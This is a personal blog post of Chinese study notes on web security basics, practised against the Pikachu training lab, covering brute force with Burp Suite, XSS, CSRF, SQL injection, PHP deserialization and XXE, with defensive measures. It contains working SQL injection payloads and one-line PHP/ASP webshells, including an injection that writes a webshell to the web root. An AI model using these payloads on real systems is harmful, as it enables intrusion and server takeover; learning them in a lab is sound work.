【个人笔记】10天学习web安全基础(相关配置下载地址、暴力破解原理、Burp suite工具使用、跨站脚本漏洞XSS原理、跨站请求伪造CSRF原理、sql注入漏洞原理、OS远程控制、PHP反序列化、XXE等)

2021/07/26-2021/08/05

0.实验环境

 

1、mysql+apache+php

 

2、pikachu靶机系统

 

3、firefox+Burp suite


 

1.暴力破解

 

暴力破解原理

1、攻击:连续性尝试+字典+自动化

2、测试流程:

  • 确认登录接口的脆弱性

  • 字典进行优化

    • 对目标站点进行注册,获知账号密码规则

    • 对于管理后台,注意admin/administrator/root

  • 工具自动化操作

表单的暴力破解

0、http://127.0.0.1:8088/pikachu/index.php

1、Burp suite的使用

  • firefox网络代理:手动设置HTTP代理:127.0.0.1 8080端口,所有协议使用相同代理

  • 常用选项使用

  • 主要内容Proxy、Intruder和Repeater

验证码绕过

Client

  • 验证码是前端代码(不安全,无安全作用)

  • 可以通过burpsuite中的Repeater 模块中分析是否是前端验证

  • 若未在后端验证验证码,可以通过burpsuite直接暴力破解

Server

不安全的验证码情况:

  • 验证码不过期

  • 验证码校验不严格、逻辑有问题

  • 设计的有规律,容易被猜解

操作步骤:

  • 验证码为空情况、验证码错误情况、验证码是否过期

  • 判断验证码过期:刷新请求新的验证码、在burp suite中输入正确的验证码GO、再次提交

  • 若两次在burp suite中输入相同的正确验证码均为正常,则可以使用burp suite暴力破解

防暴力破解

防护措施

  • 强:在设计上,安全的流程和复杂而又可用的图形

  • 少:设置错误次数限制,输入错误x次,锁定y小时

  • 多:双因素认证

token防暴力破解(token防不了)


 

2.跨站脚本漏洞XSS

# WEB前后端
# HTML JavaScript PHP

 

概述

  • XSS窃取cookie:带有恶意JS的网站页面

  • 危害:存储型>反射型>DOM型

  • 存储型:交互的数据存在数据库,注册页面、留言板等

  • 反射型:不会被存在数据库,是一次性的、出现在查询类页面

  • DOM型:属于反射型、前端内容,是一种通过DOM操作前端代码输出的时候产生的问题

  • XSS漏洞:客户端到后端之间的输入、输出问题

测试流程

  • 先找输入点:查询接口、留言板

  • 输入一组"特殊字符+唯一识别字符"提交后,查看返回源码,分析(输出方)

  • CTRL+F定位到唯一识别字符,结合唯一标识字符前后语法确认是否可以执行构造js的条件(构造闭合

  • 提交构造的脚本代码,看是否可以成功执行,若成功则存在XSS漏洞(构造闭合本质上是数据库查询

反射型XSS

  • GET方式提交的容易

  • GET的直接使用URL

  • POST方式(难):创建一个获取用户post请求的表单的恶意网站

  • 获取用户的post请求以后和GET方式类似

存储型XSS

  • <script>alert('xss')</script>

DOM型XSS

XSS的利用

  1. cookie的窃取和利用

  2. 钓鱼攻击:javascript嵌入到HTML中

  3. xss获取键盘记录:跨域-同源策略(两个不同域名之间不能使用JavaScript进行相互操作);

  4. 不受同源策略限制的:js加载到本地执行、图片、css、任意资源

XSS盲打

  • 看不到,在管理后台被xss

XSS绕过

绕过-过滤-转换

  • 前端限制绕过,直接抓包重放或者修改html前端代码所设置的限制

  • 大小写混合使用

  • 拼凑

  • 注释干扰

绕过-过滤-编码

关于htmlspecialchars()函数:

  • 该函数是把预定义的字符转换为HTML实体

  • 预定义的字符举例:&成为&amp

XSS常见防范措施

  • 总的原则:输入做过滤,输出做转义

  • 过滤:根据业务需求进行过滤。比如输入点要求输入手机号,则只允许输入手机号格式的数字。

  • 转义:所有输出到前端的数据都根据输出点进行转义。比如输出到HTML中进行HTML实体转义,输入到js里面的进行js转义

XSS之href输出:

  • 输出在a标签的href属性里面,可以使用JavaScript协议来执行js

  • 防御措施:只允许http、https,其次再进行htmlspecialchars处理

XSS之js输出:

  • 闭合

  • 防御措施:在js输出点应该使用反斜杠\对特殊字符进行转义

3.跨站请求伪造CSRF

# WEB前后端
# GET POST

 

概述

  • 伪造一个请求(该请求一般是一个链接)

  • 然后欺骗目标用户点击该请求,攻击完成。

  • CSRF是借用用户的权限完成攻击,攻击者并没有拿到用户权限

  • XSS是直接盗取了用户的权限

确认是否存在CSRF漏洞

  • 对目标网站增删改的地方进行标记,并观察其逻辑,判断请求是否可以被伪造

  • 确认凭证cookie的有效期

CSRF之get

  • burp suite抓包,GET请求

  • 伪造请求

token防止CSRF

  • CSRF的主要问题是:敏感操作的链接容易被伪造

  • 措施:每次请求,都增加一个随机码(足够随机,不容易被伪造),后台每次对这个随机码进行验证。

  • 随机码即token值

CSRF的防范措施

  • 对关键操作增加token参数,token值必须随机,每次都不一样

  • 避免会话被利用:不在客户端保留敏感信息;测试直接关闭,退出时登录态结束;设置会话过期机制

  • 访问控制安全管理:敏感信息修改时需要对身份进行二次认证;敏感信息修改使用post请求;通过http头部中的refer来限制原页面

  • 增加验证码

4.sql注入漏洞

# 数据库

http://127.0.0.1:8088/pikachu/index.php

 

概述

  • SQL Inject(sqli)

  • 非法输入:1 or 1 = 1、导致数据库查询语法有错,数据库信息被泄露

攻击流程

  • 一、注入点探测:自动方式:web漏洞扫描工具;手动方式:手工构造sql inject测试语句

  • 二、信息获取:环境信息、数据库信息

  • 三、获取权限:执行shell、上传木马

常见注入点类型

  • 数字型: user_id=$id

  • 字符型: user_id='$id'

  • 搜索型: text LIKE '%{_GET['search']}%'"

注入类型

数字型注入:1 or 1=1

字符型注入:

  • $uname=$_GET['username']

  • select 字段1, 字段2 from 表名 where username='$name';

  • select 字段1, 字段2 from 表名 where username='kobe' or 1=1#';

  • kobe' or 1=1#

搜索型注入:

  • like '%xxxx%' or 1=1 #

  • xxxx%' or 1=1 #

xx型注入:

  • select 字段1, 字段2 from 表名 where username=('$name');

  • ('xx') or 1=1 #

  • xx') or 1=1 #

 

MySQL注释符号:

SELECT 1+1; # 注释1
SELECT 1+1; -- 注释2(双破折号,第二个破折号后面至少跟一个空格符/tab/换行符)
SELECT 1 /* 注释3 */ +1;

 

注入方式GET&POST区别

  • GET方式中使用URL提交注入数据

  • POST方式中使用抓包工具修改POST数据部分提交注入

  • 两种方式都会出现SQL注入漏洞,本质其实是一样的

 

手动测试:基于union联合查询的信息获取

  • 联合查询的字段数需要和主查询的字段数相同

  • 先通过order by 来判断有多少行(取数采取二分法)

  • 确定行数以后使用union查询信息

  • select 字段1, 字段2 from 表名 where username='$name' order by 1 #;

  • xx' order by 1 #

  • xx' union select database(),user()#

  • xx' union select version(),4#

 

MySQL:information_schema

  • MySQL自带的information_schema表具有大量数据库信息

 

手动测试:函数报错

  • 常用报错函数:updatexml()、extractvalue()、floor()

  • 信息获取:(select/insert/update/delete)

  • 在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息

  • 前提是:后台没有屏蔽数据库报错信息,在语法发生错误时会将报错信息输出在前端。

基于报错:updatexml()

  • '

  • kobe' and updatexml(1,version(),0)#

  • kobe' and updatexml(1, concat(0x7e,version()),0)#

  • kobe' and updatexml(1, concat(0x7e,database()),0)#

  • concat:两个拼接然后打印出来

  • 0x7e:~的十六进制表示(波浪号)

  • select table_name from information_schema.tables where table_schema='pikachu'

报错:只能显示一行(Subquery returns more than 1 row)

  • kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

  • 设置限制:limit 0,1 limit 1,1 limit 2,1

  • kobe' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

insert注册时/update修改时

delete

http header:信息被存储到数据库中时出现的漏洞

  • user-Agent

  • cookie

 

盲注

based boolean 和 based time

based boolean:

  • 没有报错信息

  • 无论输入正确或错误,都只显示两种情况(比如0或者1)

  • 在正确的输入下,输入and 1=1/and 1=2发现可以判断

  • kobe' and ascii(substr(database(),1,1))=112#

  • (select table_name from information_schema.tables where table_schema=database() limit 0,1)

  • kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<112#

based time:

  • 通过特定的输入,判断后台执行的时间,从而确认注入

  • kobe' and sleep(5)

  • kobe' and if((substr(database(),1,1))='a',sleep(5),null)#

  • kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

 

OS远程控制

  • 一句话木马

  • 如何通过into outfile 写入恶意代码并控制OS

 

一句话木马

<?php @eval($_POST['chopper']);?>

ASP:

<%eval request("chopper")%>

ASP.NET:

<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

 

通过into outfile 写入恶意代码并控制OS:

  • select 1,2 into outfile "/var/www/html/1.txt"

  • into outfile 将select的结果写入到指定目录的1.txt中

  • 在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取

前提条件:

  • 需要知道远程目录结构

  • 需要远程目录有写权限

  • 需要数据库开启了secure_file_priv

获取操作系统权限:

  • kobe' union select "<?php @eval($_GET['test']);?>",2 into outfile "/var/www/html/1.php"#

  • kobe' union select "<?php @eval($_GET['cmd']);?>",2 into outfile "/var/www/html/2.php"#

 

表(列)名的暴力破解

  • kobe' and exists(select * from aa)#

  • aa不知道,是字典的位置

  • kobe' and exists(select id from users)#

 

sql注入漏洞的防范

代码层面:

  • 对输入进行严格的转义和过滤

  • 使用预处理和参数化(Parameterized)

 

网络层面:

  • 通过WAF设备(防火墙)启用sql注入策略(或类似防护系统)

  • 云端防护(360网站卫士,阿里云盾等)

 

PHP防范转义+过滤:

  • 过滤:黑名单

  • 推荐:使用PDO的prepare预处理(预处理+参数化)

网络防护:

  • 在web应用服务器前部部署WAF设备:topo

  • 启用云端防护

 

sqlmap

 

5.远程控制

  • 远程系统命令控制

  • 远程代码执行

 

6.文件包含漏洞

 

7.不安全的文件下载和上传

 

8.越权漏洞

 

9.PHP反序列化

seralize(),unserialize()

序列化seralize()

  • 把一个对象变成可以传输的字符串

反序列化unseralize()

  • 把序列化的字符串还原为对象,然后在接下来的代码中继续使用

 

10.XXE

xml external entity -injection"

xml:存储数据,传输数据

<!-- 第一部分: XML声明 -->
<?xml version="1.0"?>
<!-- 第二部分:文档类型定义DTD -->
<!DOCTYPE note [ <!--定义此文档是node类型的文档-->
<!ENTITY entity-name SYSTEM "URL/URL"> <!--外部实体声明-->
]] ]>

<!-- 第一部分:文档元素 -->
<note>
   <to>Dave</to>
   <from>Tom</from>
   <head>Reminder</head>
   <body>You are a good man</body>
</note>

 

11.CSRF

服务端请求伪造

 

12.目录遍历漏洞

Linux服务器

../../../../../../

 

13.敏感信息泄露

 

14.URL重定向

posted @ 2021-08-06 10:20  jianghe414  阅读(111)  评论(0编辑  收藏  举报